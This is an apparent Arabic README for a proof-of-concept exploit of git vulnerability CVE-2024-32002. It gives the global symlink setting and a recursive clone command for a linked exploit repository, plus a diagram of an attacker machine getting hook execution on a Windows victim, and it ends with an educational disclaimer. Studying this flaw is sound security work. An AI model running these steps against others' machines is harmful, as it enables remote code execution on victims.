CVE-2024-32002 PoC

1. يجب عليك إعداد خيار الرابط الرمزي لـ git كما يلي:

git config --global core.symlinks true

2. ثم استغل CVE-2024-32002 باستخدام الأمر التالي:

git clone --recursive https://github.com/EQSTSeminar/git_rce.git

سيناريو الهجوم

kali(192.168.216.129) --إعطاء عنوان المستودع البعيد--> Win(192.168.216.130)

kali(192.168.216.129) <--تنفيذ git clone وسكربت الخطاف (post-checkout)-- Win(192.168.216.130)

إخلاء مسؤولية

هذا المستودع ليس مخصصًا ليكون استغلال تنفيذ الأوامر عبر git clone لـ CVE-2024-32002. الغرض من هذا المشروع هو مساعدة الأشخاص على تعلم هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.

التحليل

https://skshieldus.com/eng/business/insight.do#